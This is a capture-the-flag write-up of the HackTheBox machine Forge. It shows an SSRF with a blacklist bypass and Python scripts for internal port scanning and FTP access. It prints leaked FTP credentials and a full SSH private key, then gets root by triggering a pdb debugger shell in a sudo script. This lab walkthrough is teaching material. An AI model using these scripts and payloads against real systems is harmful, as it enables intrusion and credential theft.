Home Forge [HTB]
Post
Cancel

Forge [HTB]

Forge

forge_banner

Forge is a medium linux machine on HackTheBox and is today’s target.

Recon

As always, we start with network discovery with a nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#nmap -sC -sV -p- 10.129.190.159 -vv
PORT   STATE    SERVICE REASON      VERSION
21/tcp filtered ftp     no-response
22/tcp open     ssh     syn-ack     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2sK9Bs3bKpmIER8QElFzWVwM0V/pval09g7BOCYMOZihHpPeE4S2aCt0oe9/KHyALDgtRb3++WLuaI6tdYA1k4bhZU/0bPENKBp6ykWUsWieSSarmd0sfekrbcqob69pUJSxIVzLrzXbg4CWnnLh/UMLc3emGkXxjLOkR1APIZff3lXIDr8j2U3vDAwgbQINDinJaFTjDcXkOY57u4s2Si4XjJZnQVXuf8jGZxyyMKY/L/RYxRiZVhDGzEzEBxyLTgr5rHi3RF+mOtzn3s5oJvVSIZlh15h2qoJX1v7N/N5/7L1RR9rV3HZzDT+reKtdgUHEAKXRdfrff04hXy6aepQm+kb4zOJRiuzZSw6ml/N0ITJy/L6a88PJflpctPU4XKmVX5KxMasRKlRM4AMfzrcJaLgYYo1bVC9Ik+cCt7UjtvIwNZUcNMzFhxWFYFPhGVJ4HC0Cs2AuUC8T0LisZfysm61pLRUGP7ScPo5IJhwlMxncYgFzDrFRig3DlFQ0=
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH67/BaxpvT3XsefC62xfP5fvtcKxG2J2di6u8wupaiDIPxABb5/S1qecyoQJYGGJJOHyKlVdqgF1Odf2hAA69Y=
|   256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILcTSbyCdqkw29aShdKmVhnudyA2B6g6ULjspAQpHLIC
80/tcp open     http    syn-ack     Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://forge.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: 10.129.190.159; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP - Port 80

Searching for subdomains with wfuzz

1
2
3
4
5
6
7
8
9
=====================================================================
ID           Response   Lines    Word       Chars       Payload                      
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"                      
000009532:   400        12 L     53 W       427 Ch      "#www"                       
000010581:   400        12 L     53 W       427 Ch      "#mail"                      
000047706:   400        12 L     53 W       427 Ch      "#smtp"                      
000103135:   400        12 L     53 W       427 Ch      "#pop3

As the previous nmap scan told us, the webapp is accessible through its domain name : http://forge.htb and http://admin.forge.htb, we need to add the host to /etc/hosts.

Domain : forge.htb

Looking for subdirectories with gobuster

1
2
3
4
5
6
===============================================================
2021/11/28 21:03:14 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 224] [--> http://forge.htb/uploads/]
/static               (Status: 301) [Size: 307] [--> http://forge.htb/static/] 
/upload               (Status: 200) [Size: 929] 

The webapp has an upload image feature in /upload, where we can upload an image through two different methods : local file or url.

Javascript source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function show_upload_local_file(argument) {
    var form_div = document.getElementById('form-div');
    form_div.innerHTML = `
        <form action="/upload" method="POST" enctype="multipart/form-data">
            <input type="file" name="file" class="file">
            <input name="local" type="hidden" value='1'>
            <br>
            <br>
            <button id="submit-local" type="submit" class="submit">Submit</button>
        </form>
        `;
}

function show_upload_remote_file(argument) {
    var form_div = document.getElementById('form-div');
    form_div.innerHTML = `
    <br><br>
        <form action="/upload" method="POST" enctype="application/x-www-form-urlencoded" >
            <input type="textbox" name="url" class="textbox">
            <input name="remote" type="hidden" value='1'>
            <br>
            <br>
            <button id="submit-remote" type="submit" class="submit">Submit</button>
        </form>
        `;
}

When uploading an image through local file, the webapp change the filename to a random string and displays the path where the file has been stored.

eg: http://forge.htb/uploads/JWknEqSGbTqCPncyFD7D

When trying to upload an image through url, the server displays an error message like :

An error occured! Error : HTTPSConnectionPool(host='img1.freepng.fr', port=443): Max retries exceeded with url: /20180330/yfq/kisspng-tux-racer-t-shirt-linux-kernel-linux-5abe16231f3e90.888396341522406947128.jpg (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f903482eb80>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))

When a web server tries to request an URL the user has the control of, it could be interesting to check for Server-Side Request Forgery (SSRF).

Requesting 127.0.0.1 -> Invalid protocol! Supported protocols: http, https
Requesting http://127.0.0.1 -> URL contains a blacklisted address!

The server has some filters we could try to bypass : PayloadAllTheThings - CSRF

http://[::]:80/ yields a good response from the server in a form of a url with a random filename just like it did with local file upload.

The server cannot display the image because the result is not an image BUT it is the HTTP response from the server request.

We can download it with wget and display the content in our terminal.

Knowing the SSRF is present, we could try to scan internal port to see if potential vulnerable services are running.

Port scanning through SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import time
from bs4 import BeautifulSoup

url = 'http://forge.htb/upload'

print('Starting scan...')
for port in range(1,65535):
    data = {'url':'http://[::]:{}'.format(port),'remote':1}
    r = requests.post(url,data=data)

    soup = BeautifulSoup(r.text,'html.parser')
    if len(str(soup.find_all('center')[1])) < 304 or len(str(soup.find_all('center')[1])) > 309:
        print('Port {} -> {}'.format(port,soup.find_all('center')[1]))

Result (false positive)

1
2
3
4
5
6
7
8
9
10
11
python3 csrf_scan.py                                                                130 ⨯
Starting scan...
Port 22 -> <center>
<strong>An error occured! Error : ('Connection aborted.', BadStatusLine('SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3\r\n'))</strong>
</center>
Port 80 -> <center>
<strong>File uploaded successfully to the following url:</strong>
</center>
Port 37820 -> <center>
<strong>An error occured! Error : ('Connection aborted.', BadStatusLine('GET / HTTP/1.1\r\n'))</strong>
</center>

Port 37820 gives a response but it was a false positive, othen than that all ports except the one we saw in nmap are closed.

The server can also request our own python3 HTTP server.

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.190.159 - - [28/Nov/2021 21:09:16] "GET / HTTP/1.1" 200 -

We can create a small python3 server that will redirect traffic to the target to bypass some restrictions like protocols used (gopher,file,…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("""
Usage: {} <port_number> <url>
    """.format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()
   def send_error(self, code, message=None):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Running it with : python3 redirect.py 4444 "gopher://127.0.0.1"

The server answers with a different error, not erroring on protocols

An error occured! Error : No connection adapters were found for 'gopher://127.0.0.1'

This error seems to be linked to our python3 web server and is not giving much result. Let’s check the other subdomain.

Domain : admin.forge.htb

The server only displays a sentence : Only localhost is allowed

We could be able to request this subdomain using the SSRF on forge.htb

When trying to send the payload : http://admin.forge.htb, the server answers with URL contains a blacklisted address! but a payload like : http://admin.Forge.htb (with a capital letter) seems to bypass the restriction.

We download the file and display the content :

admin.forge.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html> 

Using the same method, we can check /announcements page.

admin.forge.htb/announcements

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html> 

We now have some credentials to an internal FTP server

user:heightofsecurity123!

and also a tutorial on how to upload file on the admin subdomain using the /upload endpoint.

admin.forge.htb/upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
    <title>Upload an image</title>
</head>
<body onload="show_upload_local_file()">
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/upload.css">
    <script type="text/javascript" src="/static/js/main.js"></script>
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <center>
        <br><br>
        <div id="content">
            <h2 onclick="show_upload_local_file()">
                Upload local file
            </h2>
            <h2 onclick="show_upload_remote_file()">
                Upload from url
            </h2>
            <div id="form-div">
                
            </div>
        </div>
    </center>
    <br>
    <br>
</body>
</html> 

Through the SSRF on the main domain, we can upload a file on the /upload endpoint of admin.forge.htb, doing so result in the main domain giving us a response containing the response of admin.forge.htb telling us the file has been uploaded correctly and a path is diplayed.

url=http://admin.Forge.htb/upload?u=http://10.10.14.70:8000/poc.php&remote=1

Even though this little trick is fun, it is not useful.

We can access the internal ftp server through the endpoint :

url=http://admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@Forge.htb&remote=1

Python script to automate ssrf payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import cmd
from bs4 import BeautifulSoup

def send_ssrf(path):

    url = 'http://forge.htb/upload'
    ftp = 'http://admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb{}'.format(path)
    
    data={'url':ftp, 'remote':1}
    r = requests.post(url,data=data)
    soup = BeautifulSoup(r.text,'html.parser')
    response_url = soup.find_all('a')[2].contents
    
    r = requests.get(response_url[0])
    print(r.text)


class Exploit(cmd.Cmd):
    prompt = 'ftp > '
    def default(self,arg):
        send_ssrf(arg)

    def do_exit(self,arg):
        exit()

Exploit().cmdloop()

The result diplayed is the directory served by the ftp server

ftp > /
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 1000     1000           33 Nov 29 20:26 user.txt

Initial Foothold

We have to understand that this is a HOME FOLDER and we can’t see hidden directories like .ssh, but if we request it….we find the private key pair.

python3 ssrf_exploit.py
ftp > /.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

The private key does not have a passphrase, we can connect to the server

ssh user@forge.htb -i id_rsa

Local Privilege Escalation

Now we need to find a way to escalate our privilege to root user.

The command sudo -l gives us a very interesting result.

Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

/opt/remote-manager.py (-rwxr-xr-x 1 root root)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

This script will create a socket listening on 127.0.0.1 with a random port, and after connecting to it, it will ask for a password and if the password is right, access some commands.

An interesting module used here is pdb. This module is the Python Debugger and is used to…well…debug program.

If we submit an error somewhere in the program, the except will trigger and we will have access to the debugger command line.

When the program asks for a choice, it is not veryfing our input and thus we can send something the program is not expecting.

Now that we have access to the Pdb command line, looking at the document here :

https://docs.python.org/3/library/pdb.html

We see the p command

This command will exec the expression we input.

p expression
Evaluate the expression in the current context and print its value

We can execute shell command by using the subprocess module.

(Pdb) p subprocess.run(["whoami"])
root
(Pdb) p subprocess.run(["bash"])
root@forge:/home/user# cat /root/root.txt
REDACTED

We are now root.

Conclusion

This machine was very interesting, and made me practice some python scripting and learning new web vulnerability. The difficulty was fair and I hope to find more machines like that.

This post is licensed under CC BY 4.0 by the author.